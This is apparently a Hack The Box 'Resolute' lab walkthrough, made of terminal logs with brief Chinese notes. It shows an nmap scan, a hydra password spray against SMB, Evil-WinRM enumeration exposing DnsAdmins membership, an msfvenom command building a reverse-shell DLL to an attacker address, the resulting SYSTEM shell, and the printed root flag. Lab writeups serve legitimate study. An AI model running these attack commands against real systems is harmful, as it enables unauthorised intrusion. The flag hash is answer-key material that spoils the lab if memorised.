~/Documents/HTB/Resolute root@kali ❯ cat nmap.txt # Nmap 7.80 scan initiated Tue Jan 7 22:11:44 2020 as: nmap -sV -sC -oN nmap.txt 10.10.10.169 Nmap scan report for 10.10.10.169 Host is up (0.33s latency). Not shown: 989 closed ports PORT STATE SERVICE VERSION 53/tcp open tcpwrapped 88/tcp open kerberos-sec? 135/tcp open msrpc? 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results: |_clock-skew: mean: 2h47m35s, deviation: 4h37m09s, median: 7m33s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Resolute | NetBIOS computer name: RESOLUTE\x00 | Domain name: megabank.local | Forest name: megabank.local | FQDN: Resolute.megabank.local |_ System time: 2020-01-07T06:35:29-08:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-01-07T14:35:27 |_ start_date: 2020-01-07T14:18:30
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Jan 7 22:31:08 2020 -- 1 IP address (1 host up) scanned in 1164.08 seconds
~/Documents/HTB/Resolute root@kali ❯ hydra -L users.list -p 'Welcome123!' 10.10.10.169 smb Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-20 15:44:39 [INFO] Reduced number of tasks to 1 (smb does not like parallel connections) [DATA] max 1 task per 1 server, overall 1 task, 27 login tries (l:27/p:1), ~27 tries per task [DATA] attacking smb://10.10.10.169:445/ [445][smb] host: 10.10.10.169 login: melanie password: Welcome123! 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-01-20 15:45:13
发现用户melanie匹配密码。
Shell
由于Nmap没有扫描出5985端口[winrm]，故指定端口重新扫描。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
~/Documents/HTB/Resolute root@kali 19s ❯ nmap -sC -sV -p5985 10.10.10.169 Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-20 15:51 HKT Nmap scan report for 10.10.10.169 Host is up (0.44s latency).
PORT STATE SERVICE VERSION 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.58 seconds
User Name SID ============= ============================================== megabank\ryan S-1-5-21-1392959593-3013219662-3596683436-1105
GROUP INFORMATION -----------------
Group Name Type SID Attributes ========================================== ================ ============================================== =============================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group MEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION -----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled. *Evil-WinRM* PS C:\Users\ryan\Documents> net user ryan User name ryan Full Name Ryan Bertrand Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never
Password last set 1/20/2020 12:20:02 AM Password expires Never Password changeable 1/21/2020 12:20:02 AM Password required Yes User may change password Yes
Workstations allowed All Logon script User profile Home directory Last logon 1/20/2020 12:15:32 AM
Logon hours allowed All
Local Group Memberships Global Group memberships *Domain Users *Contractors The command completed successfully.
*Evil-WinRM* PS C:\Users\ryan\Documents> net localgroup DnsAdmins Alias name DnsAdmins Comment DNS Administrators Group
Members
------------------------------------------------------------------------------- Contractors The command completed successfully.
~/Documents/HTB/Resolute root@kali ❯ msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.24 LPORT=80 -f dll -o reshell.dll [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload No encoder or badchars specified, outputting raw payload Payload size: 460 bytes Final size of dll file: 5120 bytes Saved as: reshell.dll
[*] Started reverse TCP handler on 10.10.14.24:80 [*] Command shell session 1 opened (10.10.14.24:80 -> 10.10.10.169:54461) at 2020-01-20 16:32:23 +0800
C:\Windows\system32>whoami whoami nt authority\system
C:\Windows\system32>cd C:\users\administrator\desktop\ cd C:\users\administrator\desktop\
C:\Users\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 923F-3611
Directory of C:\Users\Administrator\Desktop
12/04/2019 05:18 AM <DIR> . 12/04/2019 05:18 AM <DIR> .. 12/03/2019 07:32 AM 32 root.txt 1 File(s) 32 bytes 2 Dir(s) 31,048,744,960 bytes free
C:\Users\Administrator\Desktop>type root.txt type root.txt e1d94876a506850d0c20edb5405e619c C:\Users\Administrator\Desktop>
